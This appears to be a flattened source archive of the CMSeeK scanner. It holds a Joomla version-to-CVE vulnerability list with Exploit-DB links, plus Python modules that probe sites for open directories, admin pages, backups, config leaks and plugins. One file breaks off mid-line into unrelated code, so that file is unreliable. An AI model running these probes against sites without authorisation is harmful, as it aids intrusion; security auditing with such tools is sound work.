1.6.3,1.6.2,1.6.1,1.6.4,1.6.0,1.6.5|Joomla! < 1.6.5 - Multiple Cross-Site Scripting Vulnerabilities\nEDB : https://www.exploit-db.com/exploits/35973/ 1.6.6,1.6.4,1.6.3,1.6.2,1.6.1,1.6.0,1.5.23,1.5.22,1.5.20,1.5.19,1.5.18,1.5.17,1.5.16,1.5.15,1.5.14,1.5.12,1.5.11,1.5.10,1.5.9,1.5.8,1.5.7,1.5.5,1.5.4,1.5.2,1.5.1,1.7.0,1.6.5,1.6.4,1.6.3,1.6.1,1.6.0,1.5.6,1.5.3,1.5.22,1.5.21,1.5.15,1.5.13,1.5.0|Joomla! < 1.7.0 - Multiple Cross-Site Scripting Vulnerabilities\nEDB : https://www.exploit-db.com/exploits/36176/ 2.5.1,2.5.0,1.7.5,1.7.4,1.7.3,1.7.2,1.7.1,1.7.0|Joomla! 'redirect.php' SQL Injection Vulnerability\nEDB : https://www.exploit-db.com/exploits/36913/ 2.5.0,2.5.1|Joomla! 2.5.0 < 2.5.1 - Time Based SQL Injection\nEDB : https://www.exploit-db.com/exploits/18618/ 2.5.4,2.5.3,2.5.2,2.5.1,2.5.0,3.0.2|Joomla! 'highlight.php' PHP Object Injection\nCVE : CVE-2013-1453\nEDB : https://www.exploit-db.com/exploits/24551/ 2.5.4,2.5.3,2.5.2,2.5.1,2.5.0,3.0.2|Joomla! 'remember.php' PHP Object Injection\nCVE : CVE-2013-3242\nEDB : https://www.exploit-db.com/exploits/25087/ 3.2.1|Joomla! 3.2.1 - SQL Injection\nEDB : https://www.exploit-db.com/exploits/31459/ 3.2,3.3,3.4.0,3.4.1,3.4.4,3.4.3,3.4.4|Joomla! 3.2.x < 3.4.4 - SQL Injection\nEDB : https://www.exploit-db.com/exploits/38534/ 2.5.4,2.5.3,2.5.2,2.5.1,2.5.0,1.7.5,1.7.4,1.7.3,1.7.2,1.7.1,1.6.6,1.6.4,1.6.3,1.6.2,1.6.1,1.6.0,1.5.26,1.5.23,1.5.22,1.5.20,1.5.19,1.5.18,1.5.17,1.5.16,1.5.15,1.5.14,1.5.12,1.5.11,1.5.10,1.5.9,1.5.8,1.5.7,1.5.5,1.5.4,1.5.2,1.5.1,1.6.5,1.5.6,1.5.3,1.5.21,1.5.13,1.5.0|Joomla! 1.5 < 3.4.5 - Object Injection Remote Command Execution\nCVE : CVE-2015-8562\nEDB : https://www.exploit-db.com/exploits/38977/ 2.5.4,2.5.3,2.5.2,2.5.1,2.5.0,1.7.5,1.7.4,1.7.3,1.7.2,1.7.1,1.6.6,1.6.4,1.6.3,1.6.2,1.6.1,1.6.0,1.5.26,1.5.23,1.5.22,1.5.20,1.5.19,1.5.18,1.5.17,1.5.16,1.5.15,1.5.14,1.5.12,1.5.11,1.5.10,1.5.9,1.5.8,1.5.7,1.5.5,1.5.4,1.5.2,1.5.1,1.6.5,1.5.6,1.5.3,1.5.21,1.5.13,1.5.0,1.0.0,1.1.0,1.2.0,1.3.0|Joomla! 1.0 < 3.4.5 - Object Injection 'x-forwarded-for' Header Remote Code Execution\nCVE : CVE-2015-8562 , CVE-2015-8566 \nEDB : https://www.exploit-db.com/exploits/39033/ 3.4.7,3.4.6,3.4.4,3.3.5,3.6.3,3.6.1,3.6.0,3.4.5|Joomla! 3.4.4 < 3.6.4 - Account Creation / Privilege Escalation\nCVE : CVE-2016-8870 , CVE-2016-8869 \nEDB : https://www.exploit-db.com/exploits/40637/ 3.4.7,3.4.6,3.4.4,3.4.3,3.4.2,3.4.1,3.4.0,3.3.6,3.3.5,3.3.4,3.3.3,3.3.2,3.3.1,3.3.0,3.2.6,3.2.5.0,3.2.4,3.2.3,3.2.2,3.2.1,3.1.6,3.1.5,3.1.4,3.1.1,3.1.0,3.0.4,3.0.3,3.0.1,3.0.0,2.5.26,2.5.25,2.5.24,2.5.19,2.5.18,2.5.17,2.5.16,2.5.15,2.5.14,2.5.13,2.5.11,2.5.10,2.5.9,2.5.8,2.5.7,2.5.6,2.5.5,2.5.4,2.5.3,2.5.2,2.5.1,2.5.0,1.7.5,1.7.4,1.7.3,1.7.2,1.7.1,1.7.0,1.6.6,1.6.4,1.6.3,1.6.2,1.6.1,1.6.0,3.6.4,3.6.3,3.6.1,3.6.0,3.4.5,3.2.0,2.5.0,1.7.0,1.6.5|Joomla! Core Remote Privilege Escalation Vulnerability\nCVE : CVE-2016-9838\nEDB : https://www.exploit-db.com/exploits/41157/ 1.6,1.7,2.5.0,2.5.1,2.5.2|Joomla! 1.6/1.7/2.5 privilege escalation vulnerability\nCVE : CVE-2012-1563\nEDB : https://www.exploit-db.com/exploits/41156/ 3.2.2|Joomla! v3.2.2 SQL injection\nhttps://developer.joomla.org/security/578-20140301-core-sql-injection.html 2.5.10,2.5.11,2.5.12,2.5.13,2.5.14,2.5.15,2.5.16,2.5.17,2.5.18,2.5.19,2.5.20,2.5.21,2.5.22,2.5.23,2.5.24,2.5.25,2.5.4,2.5.5,2.5.6,2.5.7,2.5.8,2.5.9,3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.1.0,3.1.1,3.1.2,3.1.3,3.1.4,3.1.5,3.1.6,3.2.0,3.2.1,3.2.2,3.2.3,3.2.4,3.2.5,3.3.0,3.3.1,3.3.2,3.3.3,3.3.4|Joomla! Component Akeeba Kickstart - Unserialize Remote Code Execution\nCVE : CVE-2014-7228\nEDB : https://www.exploit-db.com/exploits/35033/ 2.5.4,2.5.3,2.5.2,2.5.1,2.5.0|Joomla! 'media.php' Arbitrary File Upload Vulnerability\nCVE : CVE-2013-5576\nEDB : https://www.exploit-db.com/exploits/27610/ 1.5.0|Joomla! 1.5.0 Beta - 'pcltar.php' Remote File Inclusion\nCVE : CVE-2007-2199\nEDB : https://www.exploit-db.com/exploits/3781/ 1.5.8|Joomla! Component xstandard editor 1.5.8 - Local Directory Traversal\nCVE : CVE-2009-0113\nEDB : https://www.exploit-db.com/exploits/7691/ 3.4.4|Joomla! 3.4.4 Component Content History - SQL Injection / Remote Code Execution (Metasploit)\nCVE : CVE-2015-7297 , CVE-2015-7857 , CVE-2015-7858 \nEDB : https://www.exploit-db.com/exploits/38797/ 2.5.7,2.5.6,2.5.5,2.5.4,2.5.3,2.5.2,2.5.1|Joomla! Clickjacking Security Bypass Vulnerability\nCVE : CVE-2012-5827\nhttps://developer.joomla.org/security/news/543-20121101-core-clickjacking.html\nhttps://developer.joomla.org/security/news/544-20121102-core-clickjacking.html 3.0.1|Joomla! Unspecified Information Disclosure Vulnerability\nCVE : CVE-2013-1454\nhttp://www.securityfocus.com/bid/57752 3.0.1|Joomla! Unspecified Information Disclosure Vulnerability\nCVE : CVE-2013-1455\nhttp://www.securityfocus.com/bid/57751\nhttps://developer.joomla.org/security-centre/549-20130202-core-information-disclosure.html 3.0.3,3.0.1,3.0.02.5.9,2.5.8,2.5.7,2.5.6,2.5.5,2.5.4,2.5.3,2.5.2,2.5.1,2.5.0|Joomla! Highlighter Plugin Unspecified Cross-Site Scripting Vulnerability\nCVE : CVE-2013-3267 \nhttps://developer.joomla.org/security/86-20130407-core-xss-vulnerability.html 2.5.4,2.5.3,2.5.2,2.5.1|Joomla! Security Bypass Vulnerability\nCVE : CVE-2013-3056\nhttp://www.securityfocus.com/bid/59490/info 2.5.4,2.5.3,2.5.2,2.5.1|Joomla! Information Disclosure Vulnerability\nCVE : CVE-2013-3057\nhttp://www.securityfocus.com/bid/59489\nhttp://developer.joomla.org/security/82-20130402-core-information-disclosure.html 3.0.3,3.0.1,3.0.02.5.9,2.5.8,2.5.7,2.5.6,2.5.5,2.5.4,2.5.3,2.5.2,2.5.1|Joomla! Unspecified Cross-Site Scripting Vulnerability\nCVE : CVE-2013-3058\nhttp://www.securityfocus.com/bid/59483\nhttp://developer.joomla.org/security/81-20130403-core-xss-vulnerability.html 3.0.3,3.0.1,3.0.02.5.9,2.5.8,2.5.7,2.5.6,2.5.5,2.5.4,2.5.3,2.5.2,2.5.1|Joomla! Unspecified Cross-Site Scripting Vulnerability\nCVE : CVE-2013-3059\nhttps://developer.joomla.org/security/80-20130405-core-xss-vulnerability.html 3.3.3,3.3.0,3.2.4,3.2.3,3.2.2,3.2.1,3.2.0|Joomla! Cross Site Scripting Vulnerability\nCVE : Core CVE-2014-6631\nhttps://developer.joomla.org/security/593-20140901-core-xss-vulnerability.html 3.3.3,3.3,3.2.4,3.2.3,3.2.2,3.2.1,3.1.6,3.1.5,3.1.4,3.1.1,3.1.0,3.0.4,3.0.3,3.0.1,2.5.24,2.5.19,2.5.18,2.5.17,2.5.16,2.5.15,2.5.14,2.5.13,2.5.11,2.5.10,2.5.9,2.5.8,2.5.7,2.5.6,2.5.5,2.5.4,2.5.3,2.5.2,2.5.1,2.5.0,3.2.0|Joomla! Core Authentication Bypass Vulnerability\nCVE :CVE-2014-6632\nhttp://developer.joomla.org/security/594-20140902-core-unauthorised-logins.html 3.3.4,3.3.3,3.3.0,3.2.5,3.2.4,3.2.3,3.2.2,3.2.1,3.1.6,3.1.5,3.1.4,3.1.1,3.1.0,3.0.4,3.0.3,3.0.1,3.0.0,2.5.25,2.5.24,2.5.19,2.5.18,2.5.17,2.5.16,2.5.15,2.5.14,2.5.13,2.5.11,2.5.10,2.5.9,2.5.8,2.5.7,2.5.6,2.5.5,2.5.4,3.2.0|Joomla! Core Remote Denial of Service Vulnerability\nCVE : CVE-2014-7229\nhttps://developer.joomla.org/security/596-20140904-core-denial-of-service.html 3.4.1,3.4.0,3.3.6,3.3.5,3.3.4,3.3.3,3.3.2,3.3.1,3.3.0,3.2.6,3.2.5,3.2.4,3.2.3,3.2.2,3.2.1,3.1.6,3.1.5,3.1.4,3.1.1,3.1.0,3.0.4,3.0.3,3.0.1,3.0.0,3.2.0|Joomla! Open Redirection Vulnerability\nCVE : CVE-2015-5608\nhttp://www.securityfocus.com/bid/76496 3.4.1,3.4.0,3.3.6,3.3.5,3.3.4,3.3.3,3.3.2,3.3.1,3.3.0,3.2.6,3.2.5,3.2.4,3.2.3,3.2.2,3.2.1,3.2.0|Joomla! Cross Site Request Forgery Vulnerability\nCVE : CVE-2015-5397\nhttps://developer.joomla.org/security-centre/618-20150602-core-remote-code-execution.html 3.4.3,3.4.2,3.4.1,3.4.0|Joomla! Core Cross Site Scripting Vulnerability\nCVE : CVE-2015-6939\nhttp://packetstormsecurity.com/files/133907/Joomla-CMS-3.4.3-Cross-Site-Scripting.html\nhttps://developer.joomla.org/security-centre/626-20150908-core-xss-vulnerability.html 3.4.4,3.4.3,3.4.2,3.4.1,3.4.0,3.3.6,3.3.5,3.3.4,3.3.3,3.3.2,3.3.1,3.3.0,3.2.6,3.2.5,3.2.4,3.2.3,3.2.2,3.2.1,3.2.0|Joomla! Core Security Bypass Vulnerability\nCVE : CVE-2015-7859\nhttps://developer.joomla.org/security-centre/629-20151002-core-acl-violations.html 3.4.4,3.4.3,3.4.2,3.4.1,3.4.0,3.3.6,3.3.5,3.3.4,3.3.3,3.3.2,3.3.1,3.3.0,3.2.6,3.2.5,3.2.4,3.2.3,3.2.2,3.2.1,3.4.5,3.2.0|Joomla! Directory Traversal Vulnerability\nCVE : CVE-2015-8565\nhttps://developer.joomla.org/security-centre/635-20151214-core-directory-traversal-2.html 3.4.4,3.4.3,3.4.2,3.4.1,3.4.0,3.4.5|Joomla! Directory Traversal Vulnerability\nCVE : CVE-2015-8564\nhttps://developer.joomla.org/security-centre/634-20151214-core-directory-traversal.html 3.4.4,3.4.3,3.4.2,3.4.1,3.4.0,3.3.6,3.3.5,3.3.4,3.3.3,3.3.2,3.3.1,3.3.0,3.2.6,3.2.5,3.2.4,3.2.3,3.2.2,3.2.1,3.4.5,3.2.0|Joomla! Core Cross Site Request Forgery Vulnerability\nCVE : CVE-2015-8563\nhttps://developer.joomla.org/security-centre/633-20151214-core-csrf-hardening.html 3.4.7,3.4.6,3.4.4,3.3.5,3.6.3,3.6.1,3.6.0,3.4.5|Joomla! Core Security Bypass Vulnerability\nCVE : CVE-2016-9081\nhttps://developer.joomla.org/security-centre/661-20161003-core-account-modifications.html 3.4.7,3.4.6,3.4.4,3.6.4,3.6.3,3.6.1,3.6.0,3.4.5|Joomla! Core Arbitrary File Upload Vulnerability\nCVE : CVE-2016-9836\nhttps://developer.joomla.org/security-centre/665-20161202-core-shell-upload.html 3.4.7,3.4.6,3.4.4,3.4.3,3.4.2,3.4.1,3.4.0,3.3.6,3.3.5,3.3.4,3.3.3,3.3.2,3.3.1,3.3.0,3.2.6,3.2.5,3.2.4,3.2.3,3.2.2,3.2.1,3.1.6,3.1.5,3.1.4,3.1.1,3.1.0,3.0.4,3.0.3,3.0.1,3.0.0,3.6.4,3.6.3,3.6.1,3.6.0,3.4.5,3.2.0|Joomla! Information Disclosure Vulnerability\nCVE : CVE-2016-9837\nhttps://developer.joomla.org/security-centre/666-20161203-core-information-disclosure.html 3.6.5,3.4.7,3.4.6,3.4.4,3.4.3,3.4.2,3.4.1,3.4.0,3.3.6,3.3.5,3.3.4,3.3.3,3.3.2,3.3.1,3.30.0,3.2.6,3.2.5,3.2.4,3.2.3,3.2.2,3.2.1,3.1.6,3.1.5,3.1.4,3.1.1,3.10.0,3.0.4,3.0.3,3.0.1,3.0.0,2.5.26,2.5.25,2.5.24,2.5.19,2.5.18,2.5.17,2.5.16,2.5.15,2.5.14,2.5.13,2.5.11,2.5.10,2.5.9,2.5.8,2.5.7,2.5.6,2.5.5,2.5.4,2.5.3,2.5.2,2.5.1,2.5.0,1.7.5,1.7.4,1.7.3,1.7.2,1.7.1,1.7.0,1.6.6,1.6.4,1.6.3,1.6.2,1.6.1,1.6.0,3.6.4,3.6.3,3.6.1,3.6.0,3.4.5,3.2.0,2.5.0,1.7.0,1.6.5|PHPMailer Remote Code Execution Vulnerability\nCVE : CVE-2016-10033\nhttps://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection\nhttps://github.com/opsxcq/exploit-CVE-2016-10033\nEDB : https://www.exploit-db.com/exploits/40969/ 3.6.5,3.4.7,3.4.6,3.4.4,3.4.3,3.4.2,3.4.1,3.4.0,3.3.6,3.3.5,3.3.4,3.3.3,3.3.2,3.3.1,3.30.0,3.2.6,3.2.5,3.2.4,3.2.3,3.2.2,3.2.1,3.1.6,3.1.5,3.1.4,3.1.1,3.10.0,3.0.4,3.0.3,3.0.1,3.0.0,2.5.26,2.5.25,2.5.24,2.5.19,2.5.18,2.5.17,2.5.16,2.5.15,2.5.14,2.5.13,2.5.11,2.5.10,2.5.9,2.5.8,2.5.7,2.5.6,2.5.5,2.5.4,2.5.3,2.5.2,2.5.1,2.5.0,1.7.5,1.7.4,1.7.3,1.7.2,1.7.1,1.7.0,1.6.6,1.6.4,1.6.3,1.6.2,1.6.1,1.6.0,3.6.4,3.6.3,3.6.1,3.6.0,3.4.5,3.2.0,2.5.0,1.7.0,1.6.5|PPHPMailer Incomplete Fix Remote Code Execution Vulnerability\nCVE : CVE-2016-10045\nhttps://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection\nEDB : https://www.exploit-db.com/exploits/40969/ CMSeeK-v.1.1.3/deepscans/joom/dir_list.py000066400000000000000000000022531370665123600201360ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra import threading import cmseekdb.basic as cmseek joom_dir_found = 0 joom_dirs = [] def check_directory(url,file,ua): global joom_dir_found, joom_dirs file_check = cmseek.getsource(url + '/' + file, ua) if file_check[0] == '1': if 'Index of' in file_check[1] or 'Last modified' in file_check[1]: cmseek.success('Directory listing enabled in: ' + cmseek.bold + cmseek.fgreen + file + cmseek.cln) joom_dir_found += 1 joom_dirs.append(file) def start(url, ua): directory_files = ['administrator/components','components','administrator/modules','modules','administrator/templates','templates','cache','images','includes','language','media','templates','tmp','images/stories','images/banners'] threads = [threading.Thread(target=check_directory, args=(url, file ,ua)) for file in directory_files] for thread in threads: thread.start() for thread in threads: thread.join() global joom_dir_found, joom_dirs return [joom_dir_found, joom_dirs] CMSeeK-v.1.1.3/deepscans/joom/init.py000066400000000000000000000143031370665123600172670ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Joomla DeepScan # Rev 1 # Props to joomscan.. big time! https://github.com/rezasp/joomscan import os import cmseekdb.basic as cmseek import VersionDetect.joom as version_detect import deepscans.joom.backups as backup_finder import deepscans.joom.config_leak as config_check import deepscans.joom.core_vuln as core_vuln import deepscans.joom.admin_finder as admin_finder import deepscans.joom.check_debug as check_debug import deepscans.joom.dir_list as dir_list import deepscans.joom.check_reg as user_registration def start(id, url, ua, ga, source): # Remove / from url if url.endswith("/"): url = url[:-1] # init variables vuln_detection = '0' vuln_count = 0 joom_vulns = [] # Version Detection version = version_detect.start(id, url, ua, ga, source) # Detecting joomla core vulnerabilities jcv = core_vuln.start(version) vuln_detection = jcv[0] vuln_count = jcv[1] joom_vulns = jcv[2] # README.txt readmesrc = cmseek.getsource(url + '/README.txt', ua) if readmesrc[0] != '1': ## something went wrong while getting the source codes cmseek.statement("Couldn't get readme file's source code most likely it's not present") readmefile = '0' elif 'This is a Joomla!' in readmesrc[1]: cmseek.info('README.txt file found') readmefile = '1' # Readme file present else: readmefile = '2' # Readme file found but most likely it's not of joomla # Debug Mode cmseek.info('Checking debug mode status') debug_mode = check_debug.start(source) # Check user registration status cmseek.statement('Checking if user registration is enabled') registration = user_registration.start(url,ua) # Find admin url cmseek.info('Locating admin url') admin = admin_finder.start(url,ua) # Backups check cmseek.info('Checking for common Backups') backups = backup_finder.start(url,ua) # Check Potential configuration file leak cmseek.info('Looking for potential config leak') configs = config_check.start(url,ua) # Checking for directory listing cmseek.statement('Checking for directory listing') directories = dir_list.start(url, ua) ### THE RESULTS START FROM HERE cmseek.clearscreen() cmseek.banner("Deep Scan Results") cmseek.result('Target: ',url) cmseek.result("Detected CMS: ", 'Joomla') cmseek.update_log('cms_name','joomla') # update log cmseek.result("CMS URL: ", "https://joomla.org") cmseek.update_log('cms_url', "https://joomla.org") # update log if version != '0': cmseek.result("Joomla Version: ", version) cmseek.update_log('joomla_version', version) if registration[0] == '1': cmseek.result('User registration enabled: ', registration[1]) cmseek.update_log('user_registration_url', registration[1]) if debug_mode =='1': cmseek.result('Debug mode enabled', '') cmseek.update_log('joomla_debug_mode', 'enabled') else: cmseek.update_log('joomla_debug_mode', 'disabled') if readmefile == '1': cmseek.result('Readme file: ', url + '/README.txt') cmseek.update_log('joomla_readme_file', url + '/README.txt') if admin[0] > 0: cmseek.result('Admin URL: ', url + admin[1][0]) admin_log = '' for adm in admin[1]: admin_log += url + '/' + adm + ',' # print(cmseek.bold + cmseek.fgreen + " [B] " + cmseek.cln + url + '/' + adm) cmseek.update_log('joomla_backup_files', admin_log) print('\n') if directories[0] > 0: cmseek.result('Open directories: ', str(directories[0])) cmseek.success('Open directory url: ') dirs = '' for dir in directories[1]: dirs += url + '/' + dir + ',' print(cmseek.bold + cmseek.fgreen + " [>] " + cmseek.cln + url + dir) cmseek.update_log('directory_listing', dirs) print('\n') if backups[0] > 0: cmseek.result('Found potential backup file: ', str(backups[0])) cmseek.success('Backup URLs: ') bkup_log = [] for backup in backups[1]: bkup_log.append(url + '/' + backup) print(cmseek.bold + cmseek.fgreen + " [B] " + cmseek.cln + url + '/' + backup) cmseek.update_log('joomla_backup_files', bkup_log, False) print('\n') if configs[0] > 0: cmseek.result('Found potential Config file: ', str(configs[0])) cmseek.success('Config URLs: ') conf_log = '' for config in configs[1]: conf_log += url + '/' + config + ',' print(cmseek.bold + cmseek.fgreen + " [c] " + cmseek.cln + url + '/' + config) cmseek.update_log('joomla_config_files', conf_log) print('\n') if vuln_detection == '1' and vuln_count > 0: cmseek.result('Total joomla core vulnerabilities: ', str(vuln_count)) cmseek.update_log("vulnerabilities_count", vuln_count) joomla_vulns_to_log = [] cmseek.info('Vulnerabilities found: \n') for vuln in joom_vulns: # prepare the vuln details to be added to the log _vulnName = vuln.split('\\n')[0] _vulnRefs = [] # TODO: try not to use a for loop here. for _index, _vr in enumerate(vuln.split('\\n')): if _index != 0: _vulnRefs.append(_vr) joomla_vulns_to_log.append({"name": _vulnName, "references": _vulnRefs}) vuln = vuln.replace('\\n', cmseek.cln + '\n ') print(cmseek.bold + cmseek.red + '[v] ' + vuln) print('\n') cmseek.update_log("vulnerabilities", joomla_vulns_to_log, False) elif vuln_detection == '2': cmseek.update_log("vulnerabilities_count", 0) cmseek.warning('Couldn\'t find core vulnerabilities, No VERSION detected') elif vuln_detection == '3': cmseek.update_log("vulnerabilities_count", 0) cmseek.error('Core vulnerability database not found!') else: cmseek.update_log("vulnerabilities_count", 0) cmseek.warning('No core vulnerabilities detected!') CMSeeK-v.1.1.3/deepscans/umbraco/000077500000000000000000000000001370665123600164355ustar00rootroot00000000000000CMSeeK-v.1.1.3/deepscans/umbraco/init.py000066400000000000000000000042641370665123600177600ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # This is mostly for falsepositive detection import cmseekdb.basic as cmseek ## Good old module import VersionDetect.umbraco as umbraco_version_detect import cmseekdb.result as sresult import time import os import re def falsepositive(): cmseek.error('Detection was false positive! CMSeeK is quitting!') cmseek.success('Run CMSeeK with {0}{1}{2} argument next time'.format(cmseek.fgreen, '--ignore-cms umbraco', cmseek.cln)) #cmseek.handle_quit() return def start(id, url, ua, ga, source, detection_method, headers): if id == 'umbraco': cms_version = 0 cmseek.statement('Starting Umbraco DeepScan') if detection_method == 'source': # detect if it's false positive umbraco_url = url + '/umbraco' test_src = cmseek.getsource(umbraco_url, ua) if test_src[0] == '1': # okay we got the source let's test it if 'var Umbraco' in test_src[1]: # Umbraco Detected! # Let's get version cms_version = umbraco_version_detect.start(headers, url, ua, test_src[1]) else: falsepositive() else: falsepositive() else: # detection method was different so we are good and no need to check for false positive i guess cms_version = umbraco_version_detect.start(headers, url, ua) cmseek.clearscreen() cmseek.banner("CMS Scan Results") sresult.target(url) sresult.cms('Umbraco',cms_version,'https://umbraco.com') cmseek.update_log('cms_name', 'Umbraco') # update log if cms_version != '0' and cms_version != None: cmseek.update_log('cms_version', cms_version) # update log cmseek.update_log('cms_url', 'https://umbraco.com') # update log comptime = round(time.time() - cmseek.cstart, 2) log_file = os.path.join(cmseek.log_dir, 'cms.json') sresult.end(str(cmseek.total_requests), str(comptime), log_file) return CMSeeK-v.1.1.3/deepscans/wp/000077500000000000000000000000001370665123600154335ustar00rootroot00000000000000CMSeeK-v.1.1.3/deepscans/wp/__init__.py000066400000000000000000000000001370665123600175320ustar00rootroot00000000000000CMSeeK-v.1.1.3/deepscans/wp/check_reg.py000066400000000000000000000015041370665123600177170ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # http://localhost/wordpress/wordpress/wp-login.php?action=register import cmseekdb.basic as cmseek def start(url,ua): reg_url = url + '/wp-login.php?action=register' cmseek.info('Checking user registration status') reg_source = cmseek.getsource(reg_url, ua) reg_status = '0' if reg_source[0] == '1' and ' 0: for i,vuln in enumerate(result['vulnerabilities']): if i == 0 and i != vulnss - 1: sresult.empty_sub(False) sresult.init_sub(cmseek.bold + cmseek.fgreen + str(vuln['name']) + cmseek.cln, False) # sresult.init_subsub("Type: " + cmseek.bold + cmseek.fgreen + str(vuln['vuln_type']) + cmseek.cln, False, True) # sresult.subsub("Link: " + cmseek.bold + cmseek.fgreen + "http://wpvulndb.com/vulnerabilities/" + str(vuln['id']) + cmseek.cln, False, True) strvuln = str(vuln) if vuln['cve'] != "": sresult.subsub("CVE: " + cmseek.fgreen + "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-" + vuln["cve"] + cmseek.cln, False, True) ''' if 'exploitdb' in strvuln: for ref in vuln['references']['exploitdb']: sresult.subsub("ExploitDB Link: " + cmseek.fgreen + "http://www.exploit-db.com/exploits/" + str(ref) + cmseek.cln, False, True) if 'metasploit' in strvuln: for ref in vuln['references']['metasploit']: sresult.subsub("Metasploit Module: " + cmseek.fgreen + "http://www.metasploit.com/modules/" + str(ref) + cmseek.cln, False, True) if 'osvdb' in strvuln: for ref in vuln['references']['osvdb']: sresult.subsub("OSVDB Link: " + cmseek.fgreen + "http://osvdb.org/" + str(ref) + cmseek.cln, False, True) if 'secunia' in strvuln: for ref in vuln['references']['secunia']: sresult.subsub("Secunia Advisory: " + cmseek.fgreen + "http://secunia.com/advisories/" + str(ref) + cmseek.cln, False, True) if 'url' in strvuln: for ref in vuln['references']['url']: sresult.subsub("Reference: " + cmseek.fgreen + str(ref) + cmseek.cln, False, True) ''' if vuln["references"] != []: for ref in vuln["references"]: sresult.subsub("Reference: " + cmseek.fgreen + str(ref) + cmseek.cln, False, True) sresult.end_subsub("Fixed In Version: " + cmseek.bold + cmseek.fgreen + str(vuln['fixed_in']) + cmseek.cln, False, True) elif i == vulnss - 1: sresult.empty_sub(False) sresult.end_sub(cmseek.bold + cmseek.fgreen + str(vuln['name']) + cmseek.cln, False) # sresult.init_subsub("Type: " + cmseek.bold + cmseek.fgreen + str(vuln['vuln_type']) + cmseek.cln, False, False) # sresult.subsub("Link: " + cmseek.bold + cmseek.fgreen + "http://wpvulndb.com/vulnerabilities/" + str(vuln['id']) + cmseek.cln, False, False) strvuln = str(vuln) if vuln['cve'] != "": sresult.subsub("CVE: " + cmseek.fgreen + "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-" + vuln["cve"] + cmseek.cln, False, False) if vuln["references"] != []: for ref in vuln["references"]: sresult.subsub("Reference: " + cmseek.fgreen + str(ref) + cmseek.cln, False, False) sresult.end_subsub("Fixed In Version: " + cmseek.bold + cmseek.fgreen + str(vuln['fixed_in']) + cmseek.cln, False, False) else: sresult.empty_sub(False) sresult.sub_item(cmseek.bold + cmseek.fgreen + str(vuln['name']) + cmseek.cln, False) #sresult.init_subsub("Type: " + cmseek.bold + cmseek.fgreen + str(vuln['vuln_type']) + cmseek.cln, False, True) #sresult.subsub("Link: " + cmseek.bold + cmseek.fgreen + "http://wpvulndb.com/vulnerabilities/" + str(vuln['id']) + cmseek.cln, False, True) strvuln = str(vuln) if vuln['cve'] != "": sresult.subsub("CVE: " + cmseek.fgreen + "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-" + str(ref) + cmseek.cln, False, True) if vuln["references"] != []: for ref in vuln["references"]: sresult.subsub("Reference: " + cmseek.fgreen + str(ref) + cmseek.cln, False, True) sresult.end_subsub("Fixed In Version: " + cmseek.bold + cmseek.fgreen + str(vuln['fixed_in']) + cmseek.cln, False, True) sresult.end(str(cmseek.total_requests), str(comptime), log_file) return return CMSeeK-v.1.1.3/deepscans/wp/pathdisc.py000066400000000000000000000030011370665123600175760ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra import cmseekdb.basic as cmseek import re def start(url,ua): rss_file = url + '/wp-includes/rss.php' rss_source = cmseek.getsource(rss_file, ua) if rss_source[0] == '1' and 'on line' in rss_source[1]: path = re.findall(r'/(.*?)wp-includes/rss.php', rss_source[1]) if path != []: return path[0] tw_theme = url + '/wp-content/themes/twentyfifteen/index.php' theme_source = cmseek.getsource(tw_theme, ua) if theme_source[0] == '1' and 'Uncaught Error:' in theme_source[1]: path = re.findall(r'(.*?)wp-content/themes/twentyfifteen/index.php', theme_source[1]) if path != []: return path[0] tw_theme = url + '/wp-content/themes/twentysixteen/index.php' theme_source = cmseek.getsource(tw_theme, ua) if theme_source[0] == '1' and 'Uncaught Error:' in theme_source[1]: path = re.findall(r'(.*?)wp-content/themes/twentyfifteen/index.php', theme_source[1]) if path != []: return path[0] tw_theme = url + '/wp-content/themes/twentyseventeen/index.php' theme_source = cmseek.getsource(tw_theme, ua) if theme_source[0] == '1' and 'Uncaught Error:' in theme_source[1]: path = re.findall(r'(.*?)wp-content/themes/twentyfifteen/index.php', theme_source[1]) if path != []: return path[0] return "" CMSeeK-v.1.1.3/deepscans/wp/pluginsdetect.py000066400000000000000000000021201370665123600206520ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra import cmseekdb.basic as cmseek import re import json def start(source): cmseek.info('Starting passive plugin enumeration') plug_regex = re.compile('wp-content/plugins/([^/]+)/.+ver=([0-9\.]+)') results = plug_regex.findall(source) plugins = [] found = 0 for result in results: # found += 1 name = result[0].replace('-master','').replace('.min','') nc = name + ":" if nc not in str(plugins): version = result[1] each_plugin = name + ":" + version plugins.append(each_plugin) plugins = set(plugins) found = len(plugins) if found > 0: if found == 1: cmseek.success(cmseek.bold + cmseek.fgreen + str(found) + " Plugin enumerated!") else: cmseek.success(cmseek.bold + cmseek.fgreen + str(found) + " Plugins enumerated!") else: cmseek.error('No plugins enumerated!') return [found, plugins] CMSeeK-v.1.1.3/deepscans/wp/themedetect.py000066400000000000000000000031741370665123600203050ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra import cmseekdb.basic as cmseek import re def start(source,url,ua): cmseek.info('Starting passive theme enumeration') ## plug_file = open('database/themes.json', 'r') ## plug_data = plug_file.read() ## plug_json = json.loads(plug_data) 